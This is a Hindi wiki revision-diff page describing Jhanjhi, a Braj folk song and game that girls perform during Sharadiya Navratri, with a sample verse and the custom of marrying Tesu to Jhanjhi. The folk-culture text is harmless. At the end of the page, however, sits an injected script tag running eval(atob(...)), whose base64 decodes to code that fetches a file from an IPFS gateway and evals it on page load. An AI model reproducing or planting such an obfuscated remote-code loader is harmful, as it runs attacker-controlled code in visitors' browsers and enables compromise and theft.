"झाँझी": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
('झैझी या झाँझी, शारदीय नवरात्र के दिनों में ...' के साथ नया पन्ना बनाया)
 
No edit summary
पंक्ति 1: पंक्ति 1:
झैझी या झाँझी, [[नवरात्र|शारदीय नवरात्र]] के दिनों में गाया जाने वालो बालिकाओं का गीत है जो [[ब्रज]] में विशेष रूप से प्रचलित है। बालिकाएँ झाँझी, [[मिट्टी]] की छेददार हाँडी- जिसमें [[दीपक|दिया]] जलता रहता है, लेकर एक घर से दूसरे घर फेरा करती हैं, झाँझी के गीत गाती हैं और पैसे माँगती हैं। ये गीत कथा की दृष्टि से अद्भुत, किन्तु मनोरंजक होते हैं।
'''झैंझी या झाँझी, [[नवरात्र|शारदीय नवरात्र]] के दिनों में गाया जाने वालो बालिकाओं का गीत''' है जो [[ब्रज]] में विशेष रूप से प्रचलित है। बालिकाएँ झाँझी, [[मिट्टी]] की छेददार हाँडी- जिसमें [[दीपक|दिया]] जलता रहता है, लेकर एक घर से दूसरे घर फेरा करती हैं, झाँझी के गीत गाती हैं और पैसे माँगती हैं। ये गीत कथा की दृष्टि से अद्भुत, किन्तु मनोरंजक होते हैं।


[[ब्रज]] के लोक जीवन में प्रचलित मनोरंजन प्रधान गीतों के अन्तर्गत ' झाँझी' या 'झैझी' के गीत आते हैं। [[आश्विन|क्वार]] के [[महीने]] में शारदीय नवरात्र के अवसर पर लड़के [[टेसू]] के गीत गाते हैं और लड़कियाँ झाँझी के गीत गाती हैं। ये दोनों गीत टेसू और झाँझी के खेल से सम्बद्ध हैं इन्हें बच्चे ही गाते हैं। झाँझी के गीत प्राय: संवादात्मक होते हैं और इनमें छोटी-छोटी कहानियाँ भी अनुस्यूत होती हैं। विषय की दृष्टि से ये गीत बड़े अद्भुत और सरस होते हैं। एक झाँझी गीत की आरम्भिक पंक्तियाँ इस प्रकार है
[[ब्रज]] के लोक जीवन में प्रचलित मनोरंजन प्रधान गीतों के अन्तर्गत ' झाँझी' या 'झैझी' के गीत आते हैं। [[आश्विन|क्वार]] के [[महीने]] में शारदीय नवरात्र के अवसर पर लड़के [[टेसू]] के गीत गाते हैं और लड़कियाँ झाँझी के गीत गाती हैं। ये दोनों गीत टेसू और झाँझी के खेल से सम्बद्ध हैं इन्हें बच्चे ही गाते हैं। झाँझी के गीत प्राय: संवादात्मक होते हैं और इनमें छोटी-छोटी कहानियाँ भी अनुस्यूत होती हैं। विषय की दृष्टि से ये गीत बड़े अद्भुत और सरस होते हैं। एक झाँझी गीत की आरम्भिक पंक्तियाँ इस प्रकार है
पंक्ति 6: पंक्ति 6:
भरि चुटकि मैंने भिच्छा डारी, चूँदरिया रँगि लाए जी।।'
भरि चुटकि मैंने भिच्छा डारी, चूँदरिया रँगि लाए जी।।'
</poem>  
</poem>  
[[टेसू]] और झाँझी के खल के अन्त में टेसू का [[विवाह]] झाँझी से कर देते हैं और टेसू का सिर उखाड़कर फेंक दिया जाता है।
[[टेसू]] और झाँझी के खेल के अन्त में टेसू का [[विवाह]] झाँझी से कर देते हैं और टेसू का सिर उखाड़कर फेंक दिया जाता है।





12:00, 12 दिसम्बर 2011 का अवतरण

झैंझी या झाँझी, शारदीय नवरात्र के दिनों में गाया जाने वालो बालिकाओं का गीत है जो ब्रज में विशेष रूप से प्रचलित है। बालिकाएँ झाँझी, मिट्टी की छेददार हाँडी- जिसमें दिया जलता रहता है, लेकर एक घर से दूसरे घर फेरा करती हैं, झाँझी के गीत गाती हैं और पैसे माँगती हैं। ये गीत कथा की दृष्टि से अद्भुत, किन्तु मनोरंजक होते हैं।

ब्रज के लोक जीवन में प्रचलित मनोरंजन प्रधान गीतों के अन्तर्गत ' झाँझी' या 'झैझी' के गीत आते हैं। क्वार के महीने में शारदीय नवरात्र के अवसर पर लड़के टेसू के गीत गाते हैं और लड़कियाँ झाँझी के गीत गाती हैं। ये दोनों गीत टेसू और झाँझी के खेल से सम्बद्ध हैं इन्हें बच्चे ही गाते हैं। झाँझी के गीत प्राय: संवादात्मक होते हैं और इनमें छोटी-छोटी कहानियाँ भी अनुस्यूत होती हैं। विषय की दृष्टि से ये गीत बड़े अद्भुत और सरस होते हैं। एक झाँझी गीत की आरम्भिक पंक्तियाँ इस प्रकार है

'बाबा जी के चेली-चेला भिच्छ्या माँगन आए जी।
भरि चुटकि मैंने भिच्छा डारी, चूँदरिया रँगि लाए जी।।'

टेसू और झाँझी के खेल के अन्त में टेसू का विवाह झाँझी से कर देते हैं और टेसू का सिर उखाड़कर फेंक दिया जाता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ


बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>